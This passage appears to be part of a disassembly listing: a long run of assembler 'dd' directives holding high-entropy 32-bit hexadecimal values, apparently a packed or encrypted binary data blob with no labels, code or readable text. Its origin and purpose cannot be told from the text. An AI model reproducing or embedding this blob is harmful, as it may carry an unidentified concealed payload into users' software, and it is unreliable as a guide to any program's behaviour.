		dd 0A697470h, 294D3348h, 5808098Fh, 0E927B7D2h,	0F670609Ch
		dd 25804CD2h, 9DA662Ch,	0C450E101h, 8103079Ah, 0B64A84C2h
		dd 0A0D7F23Dh, 8CE95AA8h, 96DCA45h, 5002AC0Ch, 0BB806BD5h
		dd 770D0994h, 2CD83179h, 0A396EA00h, 0D62161A5h, 0EB965Ah
		dd 43850C72h, 800E0C1h,	4AABE56h, 54E37B6h, 3361E681h
		dd 302587EEh, 6E68DE2Ch, 8BC1314Ah, 860659C2h, 5DDFCB02h
		dd 4043178Dh, 303DB8D9h, 2B787ECAh, 70FB8409h, 5E19ED85h
		dd 0BF185358h, 30DEC8C0h, 6445D329h, 1A60104Eh,	4C453642h
		dd 1E016960h, 0BB03DE58h, 0B74EAE83h, 679595E9h, 0D66ABE8Ah
		dd 7E5562D4h, 5B173A59h, 0CF13CD04h, 1D7A8B09h,	48665720h
		dd 848B3555h, 0F85A5C2h, 0D2D2535Ah, 0EDE87956h, 42FED5F7h
		dd 6812059Ah, 0C1F75B9Fh, 26EF5310h, 33129901h,	631B50Dh
		dd 875C0D96h, 447622F7h, 1D9F915Eh, 523FB709h, 0E908802Bh
		dd 658DD3A6h, 7F9488AEh, 0E3DD734Bh, 5B680608h,	8DC135F6h
		dd 8F0A3239h, 82F2768Fh, 3F5CA3D1h, 0B8B7C8A4h,	5612A400h
		dd 2E6F055Fh, 16475FBh,	3BAEBEF1h, 3E58C701h, 0F2F74762h
		dd 12692783h, 50DAA33Bh, 0B72E78h, 16245122h, 5DBE3C09h
		dd 0E91F0304h, 17CBFCAAh, 9F8DEEB2h, 0C438DD20h, 84E4B61Ah
		dd 16D453B5h, 0B42E242Ah, 814285D3h, 0FD88AA7Dh, 0E5686DE1h
		dd 0B0313F76h, 0A9830EB5h, 322351C6h, 0F6B859C3h, 0BD01A67Dh
		dd 3C460574h, 102B62A9h, 615E07F7h, 35325Ah, 0D35FFB29h
		dd 0B0DB9493h, 809ECD54h, 4404B117h, 5B94EE54h,	4E08FF93h
		dd 61F88D1h, 34DC80AAh,	1D90FB5Bh, 0D3CE3131h, 0C35F87EEh
		dd 0A1CBD0Eh, 0D8090AB3h, 82DF8266h, 87C20E4Dh,	0C94252DAh
		dd 1247FC4h, 5A131C54h,	1A424338h, 2ABE07E9h, 0FE39EA40h
		dd 0F130C175h, 88F50630h, 7A1FB8CBh, 72ADB2A6h,	0EAEF00F6h
		dd 5EF301B3h, 0C8F7EB29h, 352E107Fh, 0D6090E69h, 22423276h
		dd 733EEF83h, 2255928Ch, 0DA645D6Dh, 4692E917h,	5908BBC9h
		dd 8DF85A21h, 850B5055h, 0A0DDDBBAh, 91C32A1Fh,	95146831h
		dd 83B4AFA8h, 8B030687h, 196E7CC1h, 0A4CFFF53h,	13EC74DAh
		dd 314AC4h, 5C67BF57h, 0F74717F8h, 9EB7B4DFh, 0B807A30Fh
		dd 3BF8BB01h, 0A525582Fh, 0F7564203h, 0F14C5Ch,	6D434B94h
		dd 9E5221E9h, 1B246FB1h, 0F27B97F8h, 99C46029h,	3412310Bh
		dd 76E5AC33h, 0B3491803h, 47620C08h, 0DE820h, 0D0D51606h
		dd 26E9FE01h, 0EDE77C63h, 28A7D323h, 82C0D506h,	1CCB0408h
		dd 64FD2D00h, 80C42B47h, 9001136h, 53E2D1C2h, 49C8BB4Fh
		dd 35E909C3h, 7B843684h, 1AD4C355h, 26ECE185h, 77F10468h
		dd 3CB108BEh, 710889CAh, 0DAF949A5h, 52B040C9h,	5A798612h
		dd 1A635D27h, 0AEF40EAh, 83F383DCh, 9D8B584Fh, 0A06C2D05h
		dd 6A28154h, 0F118D535h, 422D6071h, 0A66B484Ch,	0D0E61DCh
		dd 2FA6EB80h, 52E2D337h, 0A85DF932h, 495F647Fh,	0F89ECCBFh
		dd 404029F7h, 7300FDA6h
		dd 0F3813DCCh, 5C306FA1h, 0BA8EDD47h, 0E4011787h, 870C0F6Ch
		dd 5C956BB7h, 0C8AE5D7h, 0F9805644h, 5C596A1Dh,	29024B76h
		dd 4A203B06h, 0C9F8A78h, 0BA91A07h, 89FB7228h, 0E6592C8Bh
		dd 78C05B16h, 7D6078F5h, 0E90EC440h, 0D59BB164h, 812B35D0h
		dd 5AFF32Ah, 0FD20727Ch, 0F25207CFh, 0FDDD89EAh, 8323D88Ch
		dd 0D0036F79h, 5DE8315Ah, 73C0B5F7h, 0A046A964h, 0C54802C0h
		dd 9083E916h, 7EEFBE95h, 0EEC6D463h, 160D4FEBh,	4908F1FBh
		dd 0C9B43D0Dh, 0A60C6702h, 4FC242B9h, 0D2895F02h, 6D525E2Ah
		dd 0C13BA8EAh, 30B67B01h, 59C80191h, 0E9B1026Eh, 3849F56Eh
		dd 54747929h, 7226ADF3h, 7908CE43h, 89580A66h, 9A050183h
		dd 21504668h, 94B0300Ah, 7A283B1Eh, 304B86C9h, 18C756h
		dd 0D407301h, 41D96152h, 0DF3598A0h, 0A563547Fh, 0C922E26Ch
		dd 88DA291Bh, 581E089Bh, 3FE9F043h, 9FA677F2h, 2872D58Eh
		dd 0C8FAEFBCh, 0A50A7528h, 257FB17Dh, 1DFD0126h, 0E9170820h
		dd 4E450AE6h, 554F1BB3h, 3BDC55Eh, 311E8CF9h, 658A56C6h
		dd 0ECCE817Ah, 0A0101D4h, 59100A62h, 0EF80006Eh, 5BFD30B1h
		dd 0FEF0ED28h, 97E92FCFh, 0D2E6008Bh, 20EF0126h, 6106FE5Ah
		dd 7868E9h, 2C3443BEh, 22940B49h, 58298D8h, 273945EAh
		dd 5E892C1Ah, 71536828h, 5858A8CAh, 15F3708h, 0C634C52Ch
		dd 80947030h, 8BA0E739h, 228DAF7h, 171E505h, 564D0D68h
		dd 134A5A25h, 4E1C19CCh, 3216CD6Ah, 0E4B47853h,	3B87E9C4h
		dd 3625809h, 619638D0h,	100BD2F7h, 2F62C6Bh, 2A866Eh, 2E6A38B9h
		dd 19AD4E4Ch, 29923B92h, 5A7A7E22h, 66BE0173h, 0D038B353h
		dd 30FEB450h, 581CE37Ah, 0F6A6CBFEh, 0D8F0BE16h, 204700C7h
		dd 43371E27h, 24EF5F31h, 513DAF9h, 7F08666Dh, 0DEF7054Bh
		dd 6818C046h, 2F7E785Bh, 0C007115Ah, 4D73FA29h,	68810EC3h
		dd 548E5A48h, 140359D7h, 8C5A0481h, 8FF28F10h, 8357CF5Dh
		dd 0E13E26BFh, 0BE217C29h, 1FD5FF5h, 1A029A30h,	5ED5A7E9h
		dd 68147AF0h, 0DEB43D32h, 0D248B500h, 5399E921h, 0CA50C931h
		dd 0F6E1772h, 0C408164Dh, 1C830926h, 0C0BBE1E1h, 283F6513h
		dd 24CD8081h, 0DBF70411h, 0A3E91B4Bh, 0CACA32B8h, 0E881F6E3h
		dd 8F97D32Ch, 1EF01FE6h, 0BE3F051Bh, 5310D120h,	3ED91625h
		dd 76497463h, 323C597Ah, 70F18100h, 290B6C93h, 6EFCA097h
		dd 80081C0Ah, 8804325Dh, 39CBE97Eh, 0AAC936ACh,	0F9575961h
		dd 3A0B6F19h, 40455051h, 0DA723116h, 0D87BD374h, 3FE19E98h
		dd 5251D90Eh, 0E1DA7AE1h, 0F152D50Eh, 58837E05h, 0E694B2E9h
		dd 0CA2909h, 0DE1E2AB5h, 800CCF51h, 801B6A64h, 5F6E025Ah
		dd 0F2523A50h, 0F628689Eh, 5512CE91h, 31392F02h, 278FC13h
		dd 58E03B9h, 0C15AFAC0h, 1301ED5Ah, 0B0C475Ch, 0AD4CE0A7h
		dd 0F3CBD398h, 203E52D2h, 2C0BB769h, 84C288BCh,	95204C0h
		dd 0C55D30h, 6254E909h,	0E6BD0760h, 61362521h, 43BBB30h
		dd 89B40CB5h, 9788C3F5h, 6968850Dh, 223F3426h, 0CE6B952h
		dd 3359CB14h, 63136F7h,	0E95C0A0Dh, 0A7CC2D5Dh,	2F7DFFC0h
		dd 526610C3h, 3DD2C150h, 3C05F02h, 40080591h, 20D60168h
		dd 615A5A08h, 16F3D6Ch,	643F015Dh, 926BFD3Fh, 0ABF9394Bh
		dd 9F58FA9h, 0E1AC7855h, 0EFE5BF4h, 80D9F6C1h, 0E960778Eh
		dd 59CC88FCh, 0EEEEDCF6h, 0DB8E315Eh, 9BC38320h, 542C09E9h
		dd 0B5F778EBh, 0ECC78EA5h, 25C0946Bh, 0D668206Eh, 0A59373Eh
		dd 0B850F529h, 0B6612F08h, 0E9E8D05Eh, 71E3FD26h, 0D9883161h
		dd 0E5715BD9h, 0CB5FD641h, 0BB646802h, 20B9079Ah, 9F429C6Dh
		dd 0AC7F486Eh, 0A7B50751h, 0C2D3C580h, 3B4CD1D8h, 5123AEA1h
		dd 235854F9h, 5821D397h, 847DD8CDh, 0C121CA01h,	2AEB8331h
		dd 7772B000h, 4B608Ah, 6CDCBF57h, 0FB291401h, 919C35B0h
		dd 4F2890Bh, 2ABCDE50h,	81A0D29Fh, 70DF09DBh, 3E2FEFDDh
		dd 0B5786379h, 0E71292E2h, 1257F605h, 0F3291851h, 23050B2Ah
		dd 9540CDC2h, 7813B88Fh, 6848957h, 0C31D7EE8h, 2A34CF7Ch
		dd 0EB0ACB2Fh, 83590908h, 0FF04FB89h, 2A13C96Dh, 0F2810460h
		dd 944B3010h, 9546C2A6h, 0BF076928h, 0B83B4227h, 5B0F667Bh
		dd 7C0145BBh, 0E58850B5h, 0FECBC25Ch, 0E926F616h, 0AD9495E1h
		dd 493005AEh, 891274CBh, 2356B080h, 83712831h, 1F7F298h
		dd 690144EEh, 6C16E768h, 61508DCBh, 0E917A17Ch,	6831C05Ah
		dd 12977973h, 6DC384C0h, 0C03D4DE3h, 8390392h, 252C432Fh
		dd 0BCEF963Bh, 5BDE9844h, 0BDA59CF8h, 416809C0h, 45EF954h
		dd 0B4652AE9h, 431C21D6h, 0C5E81296h, 955F5D04h, 98289CDh
		dd 0A2C5C109h, 856801E2h, 1E55543Ch, 0E7040589h, 51F1B921h
		dd 0E0B00DF9h, 38B45C0Eh, 6E25D9E9h, 0E6A3D2D0h, 755F5412h
		dd 77B591B5h, 61B70030h, 5C20E80h, 0EAAEFA28h, 5D7CC1B3h
		dd 6058022Fh, 2F1AB22Eh, 0BE41F448h, 4170C4EEh,	9053A02h
		dd 50302215h, 81FF4D88h, 47192024h, 0FE724BF5h,	0B0357C22h
		dd 8D6817ECh, 0D4CF6015h, 41078869h, 2891B951h,	0F7721377h
		dd 0BACFC1D9h, 0EC143DF4h, 71350FC1h, 1EF7366Dh, 0E720A7CAh
		dd 62F631D2h, 0FE5E527Ch, 1DCBE790h, 2CC63B44h,	1817F300h
		dd 0ACE92BBDh, 0DE8AC858h, 4E809E17h, 3D607FB9h, 32143497h
		dd 5ACBC115h, 0D06E93F9h, 2859E9A1h, 896F4CD1h,	60F25022h
		dd 74119043h, 1A900930h, 0C46EFA09h, 62F1621Ch,	75A0729Fh
		dd 10D602EFh, 5FFD29BBh, 69028AF4h, 55766070h, 18E96110h
		dd 538B26B2h, 7B3CEBD1h, 836D814Fh, 0E2D0F6C8h,	79DBD831h
		dd 40C4EE0Fh, 2005BEC6h, 0F730CF07h, 41907391h,	0CED802D5h
		dd 80523964h, 81951AEh,	0A24F01C8h, 761B883Dh, 0AA8E27ACh
		dd 0E85963F9h, 41FAF7E1h, 473AE1A0h, 267A220h, 0ACBF30E0h
		dd 0D7438E9h, 8318BC25h, 492B82AAh, 7870FA20h, 0E577D31h
		dd 0C788530Dh, 0B55B3A44h, 0C168F626h, 1B1D842Dh, 81415045h
		dd 293D3B68h, 0D9C96061h, 8538BB01h, 51FB0171h,	548B5AF9h
		dd 6ED61642h, 0CC64539Eh, 683D6C10h, 3DA8188Bh,	498D7286h
		dd 4005894Ch, 24B031F4h, 0C4FF394Dh, 941737D2h,	5152F0B0h
		dd 889F27FAh, 853921B6h, 400242D1h, 4C92C480h, 0E92A139Ah
		dd 5A1DC249h, 32A6868Eh, 84BED250h, 0E70B5C13h,	0DCE6E2D6h
		dd 0C1F65B74h, 60DA0827h, 6E88BF23h, 83D9DAD1h,	7724DCE5h
		dd 56BF9BEh, 7A8FB28h, 752820C6h, 0D44B11FCh, 0F71F11E7h
		dd 710358DDh, 4725E805h, 7D87689h, 7B5AB111h, 0C7092B84h
		dd 0E84B243Ah, 27BF00B9h, 21138B74h, 0F95F58F9h, 0D76EFB16h
		dd 9F499B54h, 26926168h, 71410224h, 414D5FD3h, 614819BCh
		dd 0C4D9929h, 0EBAFB216h, 0F53B50Bh, 58A652Ah, 64B202E9h
		dd 6627036Bh, 51113CD3h, 0F21DB1EEh, 17946888h,	625AD701h
		dd 80DC8BB6h, 5C4BAE40h, 0EF0FC17Ah, 0FB32A428h, 94AC63Eh
		dd 6A0162ABh, 0E809099Ch, 2503415Dh, 0AE441B29h, 82BBA130h
		dd 2428AEBAh, 82D21A72h, 6DEE31D0h, 5A519A40h, 0C0886027h
		dd 4ABD684Ch, 98DB674h,	0D83EFE20h, 957DAC18h, 0C268A49Ah
		dd 70CADD09h, 0A312CF41h, 0E5880D47h, 0A7F2EA25h, 88D4588Fh
		dd 0E0596613h, 3DB8E9B3h, 2119295h, 7CAF0FA9h, 564345F6h
		dd 45DE00ABh, 1B53F24h,	0EA02B8BAh, 1746501Fh, 204BD429h
		dd 0E95F0908h, 8C7CE258h, 669D1C87h, 3A0A99h, 0C740B164h
		dd 0AAA04E08h
		dd 0A59A26F6h, 0E11AB397h, 2F8AC034h, 1ED160CFh, 0F4CCD72Dh
		dd 0CE14C17Dh, 2CA21C4h, 8A6859C8h, 94B4C26h, 10E0733h
		dd 54614A09h, 0D9403B8Ah, 0B4B35302h, 80CB0EFEh, 1412C8F3h
		dd 0E5202BCDh, 0D37828ECh, 0ED2ED42Eh, 0D50B62A4h, 4D6130CCh
		dd 0C11C8F5h, 79402A0Bh, 0A9133CF0h, 0B23D3453h, 2E5902CAh
		dd 84B80786h, 44AB3105h, 0A0A4E9E6h, 359866B5h,	0B05279F0h
		dd 130E4C9Dh, 3372525Eh, 9FC9061Ch, 54A66813h, 0E8B64061h
		dd 0C3795D6Fh, 7FA67942h, 735E14E1h, 485F58FAh,	609C007Ch
		dd 0E8D12F5Ch, 3B670035h, 0B0250137h, 11584675h, 5A4109FDh
		dd 0E4238443h, 0BBED2F0h, 2D2B4B08h, 6CE5BA0h, 1A13CF6Fh
		dd 0BAC547E9h, 0B01ACA5Eh, 6E99DCD3h, 0C0152112h, 0C9282A2Dh
		dd 73AF41F6h, 9AFA2583h, 6968FE72h, 75F19C80h, 0BE015179h
		dd 0AE868A11h, 687804E9h, 56805F2Ch, 0A9305A27h, 0BE79E81Ch
		dd 0B891C95Fh, 4FD8682Ah, 9967CD26h, 595EF003h,	41585A50h
		dd 87C299A6h, 29A2D15Bh, 2D2E059h, 9594BEEDh, 682493C4h
		dd 0DA7069E1h, 0C08A4B69h, 1D32460Dh, 0E0B1E923h, 0E2372AF3h
		dd 56218AC2h, 91E9D8C7h, 4CC215Eh, 0CBD969CBh, 0E8083E71h
		dd 39B9013Bh, 2911B775h, 0F898040Ch, 0BC95D50Fh, 60C72900h
		dd 7638840Ah, 82A4B801h, 0E1D36008h, 0B1518018h, 3DC0793Ch
		dd 0E889707h, 7760E729h, 0FF680150h, 0E96BCC42h, 222682Dh
		dd 876C885Bh, 9C736501h, 42AE52E9h, 45F2686Fh, 0A6B6B06Ch
		dd 55A685A5h, 9CC97C2h,	0DD138C54h, 0B42CFCA3h,	0BFE08E5h
		dd 36028224h, 0E06BD230h, 1D586C2Fh, 0F2E965FCh, 7D565999h
		dd 0A8B864h, 6A36C9C1h,	0BABE4021h, 6F3BC603h, 81C6801h
		dd 14091C34h, 8A237158h, 832602BBh, 44AA27B5h, 7A36A0A9h
		dd 60C48B78h, 0BCEF2331h, 0CF5CE2EDh, 77825EB5h, 0BDE93802h
		dd 8CCF799Ah, 1DD54361h, 0B80E0249h, 10CEB9Eh, 0A8428574h
		dd 89D5081Ch, 0ABD43E7Ch, 0C02EAF60h, 50594C5Bh, 1972BBB0h
		dd 95F1227h, 13C5EADh, 17D1C981h, 40C1FB49h, 0E8D75405h
		dd 4C1338CCh, 0E4ACD2A0h, 3D6AB193h, 0A122B6h, 7717B805h
		dd 2DF02912h, 18E907A0h, 0CBB74F6Eh, 51D56221h,	10C74A24h
		dd 0BD660BBBh, 5BC958A3h, 81D401EFh, 871AAEF7h,	3DEECF0Ah
		dd 0F36E3F9h, 8C10EF12h, 129F58D7h, 7E136FF1h, 9CE12FE9h
		dd 9878013Fh, 0D4771078h, 0DC040DEEh, 5C7EE922h, 0C9659ECh
		dd 0C5A3C2F2h, 0BC64700Ch, 28280C36h, 5CE48D37h, 102E64EDh
		dd 25E42C58h, 82F06EC6h, 312AB992h, 5D4E92E8h, 0E697631Fh
		dd 5F19AF5Ah, 459D3A1Eh, 0ADC52783h, 0B94EE906h, 664295DBh
		dd 0E66FF1DCh, 4C7AD1Eh, 347D11EDh, 0CAC3864Dh,	1C010883h
		dd 0ABC6925h, 642C51E9h, 0A1685804h, 0EC1E9853h, 60AFBF2Dh
		dd 136B72F4h, 84013319h, 0A08138Fh, 26014D7h, 23423CB3h
		dd 0DC9E5CE0h, 0E9E20909h, 29784193h, 50F70F6Fh, 0C56DA49h
		dd 0ED80CD83h, 2D067EC2h, 0F46CE828h, 5119D8F2h, 0FF2263B5h
		dd 0C200E2CEh, 25E17EC6h, 326287F1h, 73005E16h,	6ACA48F2h
		dd 89CF0854h, 5F28F8BCh, 0DF9B625Ah, 80B56E78h,	125F4CBBh
		dd 50B93119h, 68F9290Bh, 0CF01A10Ch, 2AD32D7Bh,	5EE9E4CCh
		dd 0B19105Fh, 6725789h,	0DCCA8FFEh, 2B62615Ch, 0B76801ACh
		dd 0CC336F76h, 26D881Ch, 841ABF29h, 93686642h, 88395352h
		dd 0F0DE26EBh, 125AF30Ah, 24B9608h, 9C1C7BBDh, 0F3EF5F41h
		dd 0E6E99C7h, 0B54ED890h, 0D8385189h, 0EF29E9A0h, 598B7B91h
		dd 84FE5353h, 0F0DDE956h, 4CEC493Eh, 0BB4900BFh, 4B674F79h
		dd 8E4BF02Fh, 62BF3413h, 0C40EB40Bh, 0E4681230h, 82593723h
		dd 2DFE3E75h, 0D1E9F360h, 24A49F35h, 0DA98A141h, 290FA2F1h
		dd 6030A9CDh, 0B0C188BCh, 493F27A1h, 4B26FFD1h,	0D885ED21h
		dd 54D5B3E9h, 9C09585Eh, 5A17F633h, 8C3A1D39h, 2E575DA5h
		dd 9A6EB0E8h, 0C3093B08h, 8B8931A6h, 0C84C884h,	0BD20D4ECh
		dd 67FAA4F9h, 0AC41E94Ah, 0DA163ECCh, 86EABA2Ch, 4A92F99Eh
		dd 7E012B53h, 262E5A76h, 95B66DECh, 19958318h, 5E565C1Fh
		dd 99A40E9Ch, 0C4605096h, 792071EBh, 0C3012813h, 0E90880F9h
		dd 12CD9253h, 376FD168h, 149C825Eh, 0AF2441D9h,	31D733E3h
		dd 0E016F29Dh, 16103FDEh, 0F37410EBh, 41028340h, 0B9306A33h
		dd 0BF65A2E9h, 584D99Ah, 905E09CEh, 91D6D3ADh, 3CF94A74h
		dd 7EAF613Ch, 4C60781Ah, 6B1F41F3h, 712C147h, 0A1C4E102h
		dd 0FBCE618Ch, 0B6D39228h, 85055E83h, 6EF2627Ah, 60D6A7A5h
		dd 0EAE953AAh, 25C9D44h, 0A058D2A5h, 0D78B6C0h,	0DD0147D1h
		dd 0E908011Ch, 43FEE68Fh, 486D7949h, 8C29251h, 0B509061Eh
		dd 0E0720B89h, 0D4BF1EDDh, 6802CC44h, 292E31F1h, 52AA1BE1h
		dd 0FFE6B9DFh, 0B959CA29h, 0AB0F6604h, 0A9F575A5h, 0D2B3243Fh
		dd 0D2A1C993h, 2E23F780h, 0CD8FE51Dh, 18843CC5h, 0F7F4C1E9h
		dd 5DB60CEFh, 660C6299h, 53502205h, 0C410C729h,	140C6808h
		dd 51F85813h, 1051E940h, 254B16h, 66BB0CC6h, 0C147DFF7h
		dd 0C97F4A12h, 73486C9Dh, 2FF06F4Fh, 0E95A4053h, 0D680524Fh
		dd 39809BB3h, 0EB9602F3h, 78198C0h, 56E4AB60h, 30D8368h
		dd 4E5E35F5h, 61F9D6F7h, 4EEA26C6h, 0EB882EE3h,	5F2C1062h
		dd 7B5CF939h, 6CF20021h, 3A536D7Bh, 82927DCBh, 3B8302B9h
		dd 572C61D0h, 0BB001FE3h, 5AAC50EEh, 9AD5FE4Bh,	0E001A093h
		dd 224BB2A8h, 4ED410F2h, 0B55A7458h, 0BEF83039h, 0C191C030h
		dd 0F6D88057h, 59C8891Ch, 0D958C2CAh, 70168C01h, 0FF704F5Dh
		dd 8312B707h, 0D02C4B5Eh, 6E47F701h, 0B8207CE0h, 0C3051D4Eh
		dd 0F6E03A79h, 0C76B7E1Ch, 0E9F73106h, 1F756445h, 5314B2C2h
		dd 0EAB0C27Bh, 7591088Bh, 0D8F701F8h, 0D4350480h, 89C0C148h
		dd 2225E9E6h, 92EDFB40h, 93B5A954h, 1176BB3h, 0DC3112EEh
		dd 26F30CA1h, 94CE259Fh, 97E697BCh, 8AA72848h, 3183BD23h
		dd 0CAF287D3h, 0B7F8D82Ah, 49CFBD00h, 0AFF809ADh, 0D5F719C5h
		dd 76C03A84h, 0FD52342Ah, 446BADF5h, 0B2396683h, 35FE2802h
		dd 16A7EE20h, 0A32D5F68h, 17841095h, 3AC2B450h,	9D700281h
		dd 2427C0C7h, 0A4973CE5h, 8659F3E0h, 4BE37B88h,	64A6099Dh
		dd 8FB4C5E1h, 0E6575A75h, 0C4EDDE99h, 14AE79h, 0D18EC35h
		dd 7FCEF57Ah, 6151E40Bh, 283D68E1h, 89485123h, 8E4ADC4Dh
		dd 67B54BB2h, 63E4664h,	7BE928B0h, 0C10064F4h, 0F68105EEh
		dd 39047AFh, 5EF229F7h,	0FD4FD021h, 44584D49h, 2D330202h
		dd 5D5B547Ah, 66929BD9h, 383199FDh, 0DC5551F9h,	0AD81AC57h
		dd 0F42D982Fh, 70CC7D17h, 0CD2E92A1h, 0FDFF2030h, 1D360112h
		dd 0B98E8901h, 2480DCEEh, 4F0902CEh, 28D0F529h,	55E0108h
		dd 2B715068h, 9CC88A70h, 0E1694ED5h, 878B70E7h,	88B2590Ch
		dd 0C069495Bh, 41C2E9FBh, 72442E26h, 6913BB7Dh,	4A4B2782h
		dd 88858F64h, 7C680A90h, 4403945Ah, 95DD8859h, 72BA6392h
		dd 4CC85B4Bh, 0B1949F52h, 0F125DA9Bh, 20581315h, 0C8BF0FB6h
		dd 0E9F454FAh, 235FF85Fh, 0C9F1C9BFh, 4BE6FA6Ch, 6C11C7BCh
		dd 5716D5E0h, 0B0A067F3h, 205141F6h, 0EAE688ABh, 2AE5694Eh
		dd 0BDA767D5h, 0F00BB9E9h, 0FDF3646Ch, 9366C8Ah, 8F03E8C1h
		dd 0EE2F444Bh, 309D8D94h, 5263806Ah, 4E0248BAh,	0D60916EAh
		dd 0C25Ah, 217EFDF0h, 65E91AF0h, 0AADC42F9h, 29935864h
		dd 0A9E9B750h, 0B7B00E3h
		dd 0BF01D268h, 3DD95B9Bh, 63CA2A21h, 18CE8A4Ah,	0EB1D29B5h
		dd 0BC6512F2h, 169446h,	68505508h, 0ED4C36ACh, 5EC602Ch
		dd 2F35882Dh, 0AA8CEEEBh, 530F9B32h, 9201374Fh,	25A10C16h
		dd 429F9F3Ah, 0D3532C52h, 0AA1A0902h, 0F00776Eh, 79631CE8h
		dd 78E94609h, 6E8E90BAh, 300CC9C9h, 0A5638B90h,	1EAD482h
		dd 614549EFh, 9A803E40h, 53D0548h, 0E916DF33h, 0FE0BD434h
		dd 1509CC75h, 0D31F242Fh, 0BC6F80E3h, 4B3D0C1Ch, 4E06C95Eh
		dd 0DF01657Eh, 4108831Ch, 7547141Ch, 3DBC02D5h,	74DF0987h
		dd 0AC7C956Ah, 0A0F2B7E6h, 81FA5C25h, 3B4F79B9h, 0EB4A70D1h
		dd 7807A1Ch, 5BD989C6h,	0BFF749AEh, 3401D616h, 0C165BA05h
		dd 0CE428104h, 7E15C0Ah, 29C83110h, 5F30F3FAh, 62B83E55h
		dd 64E73D79h, 848BCD2Dh, 0C050D705h, 4A762300h,	62FA80A8h
		dd 0FC77B430h, 0A5901D9h, 0F3A2E948h, 889FA4ACh, 530DA499h
		dd 489F5C50h, 62C3D620h, 5B40560Bh, 4697CDCCh, 0C47791A4h
		dd 9D38056h, 12158D1Ch,	58D746E9h, 1AFE578Ch, 0CCB45DEBh
		dd 5E1E05E3h, 0E82967D4h, 5F0840F2h, 0B7420AB6h, 0B0B766CCh
		dd 1E51FE05h, 4E1817Ah,	8131160Bh, 2AB58540h, 0E982A58Ah
		dd 0A0D5C7AAh, 0AB38C9F9h, 9C8DF606h, 5A660EA1h, 50145353h
		dd 0E8CB637Eh, 68A77D56h, 8006ADCBh, 194A0A68h,	0C3F53567h
		dd 1BB96F94h, 52B149E4h, 3DC3D5DCh, 4150B213h, 293A3317h
		dd 2CD5EDD0h, 0EB211B0Eh, 0C805D2B5h, 1E86BBFDh, 8801B446h
		dd 6603FE9Fh, 0A54FE4BEh, 67109107h, 0E9F30190h, 74BF4EC0h
		dd 0A11FACA6h, 523C80B9h, 47DDA585h, 22DA88A5h,	25F5AD0h
		dd 93243ACh, 0C1E7EF0Eh, 7BD09901h, 0F55B7D26h,	5FF93105h
		dd 564CE202h, 693ED840h, 7E7650AAh, 0BE57C360h,	21C11661h
		dd 7C4BC6D8h, 0B7A65D20h, 14C29D63h, 584A0678h,	0F492A2E2h
		dd 2B4EE9E7h, 0ACCAEAC4h, 0DC1F5D7Dh, 67685A04h, 9632BA10h
		dd 48B52A2h, 0B82FB7F7h, 0C502BB25h, 716ED868h,	7D7825D7h
		dd 34A559E3h, 25EFBCBAh, 7AF061BCh, 0CBFE802h, 4B65C201h
		dd 0D0259B91h, 1521C635h, 0DB08E9FDh, 4F35F24Eh, 480729F0h
		dd 0D7352E88h, 0A5F9036Bh, 0B2974162h, 88590579h, 21D2F325h
		dd 1AF5C88Dh, 0B05D0EF7h, 6011E926h, 685B60FDh,	0D947393h
		dd 5DC7E9C1h, 0F6B6D82Bh, 0EE23629Dh, 0E95213F7h, 5369496Fh
		dd 87B0D13Ch, 7CDD4E4Eh, 0B49A1574h, 46F281BAh,	7F65AAA1h
		dd 90439D09h, 27937DC9h, 0AA4187E5h, 0FBCCE601h, 2F265150h
		dd 0B032D141h, 0F7501A00h, 68535549h, 616DAD1Ch, 46B1E944h
		dd 1209FFC8h, 0E556469h, 3344EE79h, 0EE30AA5Ah,	0C02ED9E9h
		dd 2FAAE22Fh, 40BF5389h, 0B029947h, 0D6E92594h,	0B27EA962h
		dd 1C29263Ch, 5A9BBD80h, 1F72F35h, 67B951D5h, 7F6DDC7Eh
		dd 8206901Ah, 0B2124E76h, 0E0BB42BCh, 1ECDBDEDh, 8C03141Eh
		dd 542608F7h, 0A7305F4Eh, 179ABE56h, 1789206h, 0F805A476h
		dd 35193F3Bh, 1634B068h, 8905D449h, 19C4042Dh, 79D2BD1Fh
		dd 0ABE92189h, 0E54F5696h, 22FBC0Ch, 4073ACBFh,	0F1F84A5Fh
		dd 102260C5h, 0B4982FFAh, 0E25D4024h, 3923E587h, 714D57F2h
		dd 8872A46Bh, 0BE006074h, 0BA2DB608h, 5EF12589h, 7759CA72h
		dd 0F2B707C3h, 4B97F988h, 0EB80BA5Ah, 0D3E38105h, 0E0775C27h
		dd 49152C15h, 51EC15Bh,	0B9BBFCBDh, 71604A02h, 0EBC6E943h
		dd 1B2BD004h, 49362580h, 0F1731478h, 0C97FE401h, 89E9CA01h
		dd 5639E43Ch, 1336F6DAh, 1BA4D25Ch, 0BEA040D3h,	467B750Ah
		dd 0ACBF757Ah, 53C0DDF1h, 12B41BB3h, 67DC281Ch,	0EBE7843Ah
		dd 43D9B561h, 0D926E3Ch, 20137039h, 6F3AA6C1h, 0D016DAB5h
		dd 81018800h, 264E20CFh, 2D563AD4h, 0E180C501h,	0DF1CC1Eh
		dd 28FE06C2h, 0D0B084C8h, 0EE368A4h, 7BC35274h,	31F8CBC0h
		dd 0C49037C9h, 42249802h, 0C9BAE915h, 0FF40C007h, 169DF480h
		dd 6058E628h, 1CB15137h, 95BC6B8h, 4907D1A3h, 0D26D0E50h
		dd 0A0DF4A91h, 0DFC581AAh, 0FA69F258h, 6DB44E1Ah, 67B5286Dh
		dd 0CCDECCFEh, 264EF22Ch, 164EE45Ch, 663B838Bh,	257D8FADh
		dd 8BF76554h, 0BD4A4F19h, 13E5D5Ah, 8596A7DFh, 3480468Fh
		dd 4E603AAEh, 8811615h,	8624DA42h, 2D6E0279h, 0A5C86A5Dh
		dd 7710607Eh, 6C35CAF1h, 8E28477Bh, 2D010B45h, 2136C06Fh
		dd 0F5E459CDh, 0B92ECE7h, 3949E975h, 670B29FAh,	807AE833h
		dd 877822E2h, 82C16818h, 47A602EDh, 0F3417D3Fh,	32B1BBFBh
		dd 6B5E0D0Fh, 0DF48F9DCh, 0AB4F1294h, 0B905A548h, 80EFD10Dh
		dd 156F1E6Ah, 6B0C5A60h, 0B01DE982h, 692F0945h,	0E0D2728Eh
		dd 635F0881h, 9FF24F4Eh, 4C9F3D10h, 0D1F0992Ah,	0E381896Eh
		dd 1CC640A2h, 0B57592Eh, 55B9CE19h, 4FE4BC92h, 4FF64F21h
		dd 83655F7Ah, 4B398B3Eh, 58547704h, 0FEA02CEAh,	6E911A5Ah
		dd 213ADF37h, 6ED068BDh, 285CE4DBh, 0B20E9C2h, 14C9DBA0h
